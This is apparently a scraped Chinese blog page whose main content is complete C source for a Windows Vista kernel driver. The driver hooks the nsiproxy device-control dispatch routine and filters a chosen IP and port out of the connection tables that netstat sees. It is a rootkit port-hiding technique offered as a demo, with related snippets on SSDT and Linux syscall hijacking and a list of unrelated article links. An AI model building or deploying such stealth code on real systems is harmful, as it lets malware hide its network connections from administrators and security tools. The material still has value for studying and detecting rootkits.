PortHidDemo_Vista

SSDT Hook技术详解与应用 SSDT Hook技术详解与应用SSDT Hook技术详解与应用 一SSDT简介 1什么是SSDT 2SSDT结构 3应用层调用 Win32 API 的完整执行流程 二SSDT Hook原理 1SSDT Hook原理简介 2进程隐藏与保护 3文件隐藏与保护 4端口隐藏一、SSDT简介1、什么是SSDT​ SSDT 的全称是 System Services Descriptor Table,系统服 阅读详情
///////////////////////////////////////////////////////////////////////////////////////
// Filename: PortHidDemo_Vista.c
//
// Author: CardMagic(Edward)
// Email: sunmy1@sina.com
// MSN:  onlyonejazz at hotmail.com
//
// Description:
// A Demostration Of Hiding
//   Specified Port Under Windows Vista RTM 32bit.
//      Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 compatible
//
//

#include "stdlib.h"
#include "ntifs.h"

unsigned short htons(unsigned short hostshort);
unsigned long  inet_addr(const char *name);
typedef unsigned long DWORD;


#define LOCALHIDEIP "10.28.157.71"
#define LOCALHIDEPORT 139


#define IOCTL_NSI_GETALLPARAM 0x12001B

extern POBJECT_TYPE *IoDeviceObjectType,*IoDriverObjectType;
PDRIVER_OBJECT pNsiDrvObj = 0;
PDRIVER_DISPATCH orgNsiDeviceIoControl = 0;


DWORD gLocalPort=0,gLocalIp=0;

typedef struct _HP_CONTEXT
{
PIO_COMPLETION_ROUTINE oldIocomplete;
PVOID oldCtx;
BOOLEAN bShouldInvolve;
PKPROCESS pcb;
}HP_CONTEXT,*PHP_CONTEXT;

typedef struct _INTERNAL_TCP_TABLE_SUBENTRY
{
char bytesfill0[2];
USHORT Port;
DWORD dwIP;
char bytesfill[20];

}INTERNAL_TCP_TABLE_SUBENTRY,*PINTERNAL_TCP_TABLE_SUBENTRY;

typedef struct _INTERNAL_TCP_TABLE_ENTRY
{
INTERNAL_TCP_TABLE_SUBENTRY localEntry;
INTERNAL_TCP_TABLE_SUBENTRY remoteEntry;

}INTERNAL_TCP_TABLE_ENTRY,*PINTERNAL_TCP_TABLE_ENTRY;

typedef struct _NSI_STATUS_ENTRY
{
char bytesfill[12];

}NSI_STATUS_ENTRY,*PNSI_STATUS_ENTRY;

typedef struct _NSI_PARAM
{
//
// Total 3CH size
//
DWORD UnknownParam1;
DWORD UnknownParam2;
DWORD UnknownParam3;
DWORD UnknownParam4;
DWORD UnknownParam5;
DWORD UnknownParam6;
PVOID lpMem;
DWORD UnknownParam8;
DWORD UnknownParam9;
DWORD UnknownParam10;
PNSI_STATUS_ENTRY lpStatus;
DWORD UnknownParam12;
DWORD UnknownParam13;
DWORD UnknownParam14;
DWORD TcpConnCount;


}NSI_PARAM,*PNSI_PARAM;



unsigned short htons(unsigned short a)
{
unsigned short b = a;
b = ( b << 8 );
a = ( a >> 8 );
return ( a | b );
};

unsigned long inet_addrt(const char* name)
{
int i,j,p;
int len = strlen(name);
unsigned long temp_val[4];
char namesec[10] ;

for(i = 0,j =0,p =0;i < len;i++)
{
memset(namesec,0,10);
if('.' == name[i])
{

if(p)
strncpy(namesec,name+p+1,i-p);
else
strncpy(namesec,name,i);
temp_val[j] = atoi(namesec);
j++;
p = i;
}
}

strncpy(namesec,name+p+1,i-p);
temp_val[j] = atoi(namesec);


return (temp_val[0]|(temp_val[1]<<8)|(temp_val[2]<<16)|(temp_val[3]<<24));
}



NTSTATUS
HPCompletion(
IN PDEVICE_OBJECT  DeviceObject,
IN PIRP  Irp,
IN PVOID  Context
)
{
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(Irp);
PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp);
PHP_CONTEXT pCtx = Context;
PNSI_PARAM nsiParam;
int i;


if(NT_SUCCESS(Irp->IoStatus.Status))
{

nsiParam = Irp->UserBuffer;
if(MmIsAddressValid(nsiParam->lpMem))
{
//
// netstat will involve internal calls which will use
// nsiParam structure
//
if( (nsiParam->UnknownParam8 == 0x38))
{
KAPC_STATE apcstate;
PNSI_STATUS_ENTRY pStatusEntry = (PNSI_STATUS_ENTRY)nsiParam->lpStatus;
PINTERNAL_TCP_TABLE_ENTRY pTcpEntry = (PINTERNAL_TCP_TABLE_ENTRY)nsiParam->lpMem;
int nItemCnt = nsiParam->TcpConnCount;


KeStackAttachProcess(pCtx->pcb,&apcstate);

//
//make sure we are in the context of original process
//
for(i = 0;i < nItemCnt;i ++)
{

if((pTcpEntry[i].localEntry.dwIP == gLocalIp)&&(pTcpEntry[i].localEntry.Port == gLocalPort))
{
//
//NSI will map status array entry to tcp table array entry
//we must modify both synchronously
//
RtlCopyMemory(&pTcpEntry[i],&pTcpEntry[i+1],sizeof(INTERNAL_TCP_TABLE_ENTRY)*(nItemCnt-i));
RtlCopyMemory(&pStatusEntry[i],&pStatusEntry[i+1],sizeof(NSI_STATUS_ENTRY)*(nItemCnt-i));
nItemCnt--;
nsiParam->TcpConnCount --;
i--;



}
}

KeUnstackDetachProcess(&apcstate);

}


}

}

irpspNext->Context = pCtx->oldCtx;
irpspNext->CompletionRoutine = pCtx->oldIocomplete;

//
//free the fake context
//
ExFreePool(Context);



if(pCtx->bShouldInvolve)
return irpspNext->CompletionRoutine(DeviceObject,Irp,Context);
else
{
if (Irp->PendingReturned) {
IoMarkIrpPending(Irp);
}
return STATUS_SUCCESS;
}


}



NTSTATUS
ObReferenceObjectByName (
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID *Object
);


NTSTATUS HPUnload(IN PDRIVER_OBJECT DriverObject)
{
LARGE_INTEGER waittime;

waittime.QuadPart = -50*1000*1000;
InterlockedExchange(&(pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]), orgNsiDeviceIoControl);

//
//delay loading driver to make it more secure
//
KeDelayExecutionThread(KernelMode,0,&waittime);

return STATUS_SUCCESS;
}
  
NTSTATUS HPDummyDeviceIoControl(
IN PDEVICE_OBJECT  DeviceObject,
IN PIRP  Irp
)
{
ULONG         ioControlCode;
PIO_STACK_LOCATION irpStack;
ULONG   status;

irpStack = IoGetCurrentIrpStackLocation(Irp);

ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

if(IOCTL_NSI_GETALLPARAM == ioControlCode)
{
if(irpStack->Parameters.DeviceIoControl.InputBufferLength == sizeof(NSI_PARAM))
{
//
//only care the related I/O
//
PHP_CONTEXT ctx = (HP_CONTEXT*)ExAllocatePool(NonPagedPool,sizeof(HP_CONTEXT));
ctx->oldIocomplete = irpStack->CompletionRoutine;
ctx->oldCtx = irpStack->Context;
irpStack->CompletionRoutine = HPCompletion;
irpStack->Context = ctx;
ctx->pcb = IoGetCurrentProcess();

if((irpStack->Control&SL_INVOKE_ON_SUCCESS) ==SL_INVOKE_ON_SUCCESS)
ctx->bShouldInvolve = TRUE;
else
ctx->bShouldInvolve = FALSE;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;


}



}

//
//call original I/O control routine
//
status =  orgNsiDeviceIoControl(DeviceObject,Irp);

return status;


}


NTSTATUS DriverEntry(
   IN PDRIVER_OBJECT  DriverObject,
   IN PUNICODE_STRING RegistryPath
)
{


int i;
NTSTATUS status;
UNICODE_STRING uniNsiDrvName;


#if DBG
_asm int 3 //debug
#endif

DriverObject->DriverUnload = HPUnload;

RtlInitUnicodeString(&uniNsiDrvName,L"//Driver//nsiproxy");

status = ObReferenceObjectByName(&uniNsiDrvName,OBJ_CASE_INSENSITIVE,NULL,0,*IoDriverObjectType,KernelMode,NULL,&pNsiDrvObj);

if(!NT_SUCCESS(status))
{
return STATUS_SUCCESS;

}


//
//store the original dispatch function of NSI driver
//
orgNsiDeviceIoControl = pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL];


gLocalIp = inet_addrt(LOCALHIDEIP);
gLocalPort = htons(LOCALHIDEPORT);

//
//hook NSI dispatch routine
//
InterlockedExchange(&(pNsiDrvObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]), HPDummyDeviceIoControl);

return STATUS_SUCCESS;
}

linux系统调用劫持(隐藏端口) 一、实验目的 修改linux内核读取tcp端口所使用的函数调用tcp4_seq_show,让其指向自己的函数,用于隐藏指定的端口号。 使用的linux内核版本如下: 二、实验代码 #include <linux/module.h> #include <linux/kallsyms.h> #include <linux/kernel.h> #include <linux/unistd.h> #include <linux/string.h> #in 阅读详情

相关推荐

STM32实现webserver显示数据及配置参数

其实提到的将fsdata.c重命名为fsdata_custom.c,可以不重命令,将/LWIP/Target/lwipopts.h中HTTPD_USE_CUSTOM_FSDATA 定义为0,这样HTTPD_FSDATA_FILE将使用fsdata.c,避免每次生成fsdata.c需要重命令的麻烦。2、登录成功后,板卡根据板卡配置类型,返回对应的数据页面,该页面可实现数据校准、清零,以及进行到板卡参数设置页面。目前还未实现post功能以及http身份验证功能。3、板卡参数设置页面。

2694

Windows Vista 下挂钩NSI模块隐藏端口

作者:cardmagic原文链接:http://www.rootkit.com/newsread.php?newsid=735Windows Vista 的网络模块较从前发生了很大变化,从而导致很多旧的端口隐藏工具无法使用.本文将介绍一种简单的在Vista下隐藏端口的方法,希望对大家有所帮助.事实上在Vista下netstat.exe调用Iphlpapi.dll导出的Interna

P.Kwok 3751

人形机器人专题:人形机器人关节,从Optimus选型看关节的发展

今天分享的是深度研究报告:《(报告出品方:中泰页。

GPT20236688的博客 3226

内核层枚举网络端口 Windows 10、x64、R0

内核层枚举网络端口

sunjiaoya的博客 1072

EndNote全文检索实战:如何快速配置学校图书馆资源并精准查找文献

本文详细介绍了EndNote全文检索功能的实战配置方法,核心在于通过正确设置OpenURL链接解析器,无缝对接学校图书馆资源,实现一键精准获取文献全文。文章提供了从理解机制、四步配置法到进阶技巧的完整指南,帮助科研人员高效管理海量PDF,构建个人知识体系,大幅提升文献调研与写作效率。

weixin_29228781的博客 280

RAD Studio 10.4.2 安装避坑指南:从镜像加载到首次运行的全流程解析

本文提供了一份详尽的RAD Studio 10.4.2安装避坑指南,涵盖从镜像验证、文件提取到安装激活的全流程。重点解析了安装教程中常见的权限、路径及激活顺序等关键“坑点”,旨在帮助开发者,尤其是Delphi和C++Builder新手,一次性顺利完成安装与配置,确保开发环境稳定运行。

weixin_29224309的博客 328

又一个hideport_hook部分代码

昨天的inline hook 是在程序的最开始的前5字节改成jmp xxxx,缺点是太容易被发现,当然可以用变形的方法来替换jmp,比如push xxxx,ret 其他的很多方法,但昨天就考虑到除了变形外还可以把改写的位置放在其他位置上,比如从被hook的函数开始的第8个字节的几个字节改写成jmp xxxx,位置是不固定的,要看具体情况而定,比如NtDeviceIoControlFile,nt

2682

YOLOv8损失函数升级:从CIoU到Wise-IoU v3的实战调优与避坑指南

本文详细介绍了如何将YOLOv8的损失函数从CIoU升级到Wise-IoU v3,以提升目标检测性能,特别是在小目标检测和样本不均衡场景下的表现。通过实战调优步骤和避坑指南,帮助开发者有效应用Wise-IoU v3的动态聚焦机制和单调性控制,显著提升模型精度和训练稳定性。

weixin_33737774的博客 590

Windows下挂钩nsiproxy.sys模块获取网络连接信息

Windows下挂钩nsiproxy.sys模块获取网络连接信息

sunjiaoya的博客 1163

社交媒体文章内容与评论抓取:Python 爬虫实战教程

通过本文的介绍,我们学习了如何使用 Python 编写爬虫,抓取社交媒体平台的文章内容和评论。我们详细介绍了如何使用requestsSelenium和Tweepy等工具,抓取微博和 Twitter 上的公开数据。同时,我们还讨论了如何处理反爬虫机制,避免账号或 IP 被封禁。抓取社交媒体数据是一个充满挑战和乐趣的过程,掌握这些技术后,你可以在大数据分析、情感分析和舆情监测等方面得到更深层次的应用。

2201_76125261的博客 1711

【四足机器人项目实战】四足机器人嵌入式硬件设计

系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 TODO:写完再整理 文章目录系列文章目录前言一、电源管理板设计及制作二、通讯中继板设计及制作三、力控无刷电机驱动板设计及制作1.磁场定向控制FOC控制原理2.电机转子位置、速度检测原理3.硬件CAN通讯原理 前言 认知有限,望大家多多包涵,有什么问题也希望能够与大家多交流,共同成长! 本文先对四足机器人–嵌入式硬件设计做个简单的介绍,具体内容后续再更,其他模块可以参考去我其他文章 提示:以下是本篇文章正文内容 一、电

qq_35635374的博客 1万+

VC实现Rootkit端口隐藏

#include "ntddk.h"#include #include #include #include "netType.h"#define NT_DEVICE_NAME L"//Device//HidePort"#define DOS_DEVICE_NAME L"//DosDevices//HidePort"#pragma pack(1) //SSDT表的结构typedef stru

尹成的技术博客 4097

【unity】【WebRTC】从0开始创建一个Unity远程媒体流app-构建可同步场景

本文介绍了如何利用Unity和WebRTC技术实现远程画面传输。通过配置Render Streaming组件、设置信令管理器和视频流发送器,构建了一个可同步的Unity场景。文中详细说明了从场景搭建到浏览器端测试的完整流程,并提供了常见问题排查方法。该方案适用于远程调试、云游戏、VR共享等场景,具有低延迟、高兼容性等特点。文章还包含项目源码下载链接,方便读者实践操作。最终实现了Unity端到浏览器端的实时画面传输,为后续实现双向互动奠定了基础。

每日出拳老爷子的博客 1843

BROOTKIT Pinciple、Code Analysis(undone)

目录 1. Rootkit相关知识 2. BROOTKIT源码分析 3. 关键技术点 4. 防御策略   1. Rootkit相关知识 关于rootkit的相关其他知识,请参阅以下文章 http://www.cnblogs.com/LittleHann/p/3918030.html http://www.cnblogs.com/LittleHann/p/3910696...

weixin_34099526的博客 168

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

DeviceIoControl端口隐藏

DeviceIoControl端口隐藏 通过HookTCP驱动程序的Irp分派例程(irpStack->MajorFunction[IRP_MJ_DEVICE_CONTROL])来隐藏应用层查询端口信息 #include <ntddk.h> #define CO_TL_ENTITY 0x400 #define CL_TL_ENTITY 0...

weixin_34162228的博客 263

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

备用

风叶林-资源最多的免费辅助教程论坛 -> 驱动保护 -> 反调试与反反调试内容收集帖 方便大家学习 [打印本页]   啊冲 2016-02-03 10:42 反调试与反反调试内容收集帖 方便大家学习 反调试技术在调试一些病毒程序的时候,可能会碰到一些反调试技术,也就是说,被调试的程序可以检测到自己是否被调

qq_35746383的博客 5035

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

NSI Module Hook : Hiding Port Under Windows Vista

cardmagic writes: Windows Vista has changed alot on network module, many old port hiding materials are no longer usable.In this post, I will share with you a simple code to hide port under Vista,hope

1986

Windows Networking 5: .Net Framework 应用程序响应慢排查一则 ...

与Java一样,.Net Framework也是基于IL解析执行的,通过Microsoft提供的 !sos debug extension,我们基本上可以把.Net Framework的应用程序看个通透。本文通过一个用户的.Net Framework应用网络问题,抛砖引玉。 问题 有用户反馈他们Windows上的应用程序访问MySQL慢,但是行为很奇怪。...

weixin_33744141的博客 486

Hide Port/Link Bypass IceSword 1.22

by scott 解决了一个历史遗留问题。记得去年的时候和CD讨论过 IOCTL_TCP_QUERY_INFORMATION_EX 这个东西的处理,后来就没下文了。这几天整理代码,索性就把那时候的几个相关代码找出来分析了一下。发现以前的代码有一个逻辑错误导致可以隐藏 XP netstat -an 命令。但是不可以在2003 netstat -an 下隐藏。然后发现处理的时候漏处理了

1095

win7 xp vista 下获取进程对应的ip地址和端口信息

// NetStat_Src.cpp : 定义控制台应用程序的入口点。 #include &lt;stdio.h&gt; #include &lt;tchar.h&gt; #include &lt;windows.h&gt; #include &lt;Tlhelp32.h&gt; #include &lt;winsock.h&gt; //#include &lt;winsock2.h&gt; #i...

脚踏实地,不断突破自我,每天有收获就OK 3322

windows vc++通过tcp、udp端口号获取对应进程的id和名称

1、process_net_info.h头文件 #pragma once #include <Windows.h> #include <iostream> #include <vector> enum TcpOrUdp { TcpType, UdpType }; //=====================================================================================// //Nam

qq_37243144的博客 1272

Hook 系统服务隐藏端口

作者: JIURL主页: http://jiurl.yeah.net有时候写程序,调试程序真是一件非常有趣的事,就比如这次,蹦蹦跳跳,笑嘻嘻,意犹未尽的就把这个程序搞好了。netstat 或者其他各种列举端口的工具,比如fport,或者 sysinternals 的 Tcpview,都是调用 Iphlpapi.dll 中的 API 来完成端口的列举。而 Iphlpapi.dll 中的 API 最终

...... 2292

获取网卡信息

获取网卡的基本信息:名称、MAC地址、网卡描述信息、IP地址、网关、DNS等。基本方法:NetworkInterface类获取gateway和dns信息;System.Net.Dns类获取IP地址。 示例如下: /* * Created by SharpDevelop. * User: JACK * Date: 2011-4-20 * Time: 18:47 * * ...

weixin_33787529的博客 216
上一篇: SecotrReadWrite
下一篇: Rustock.C
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值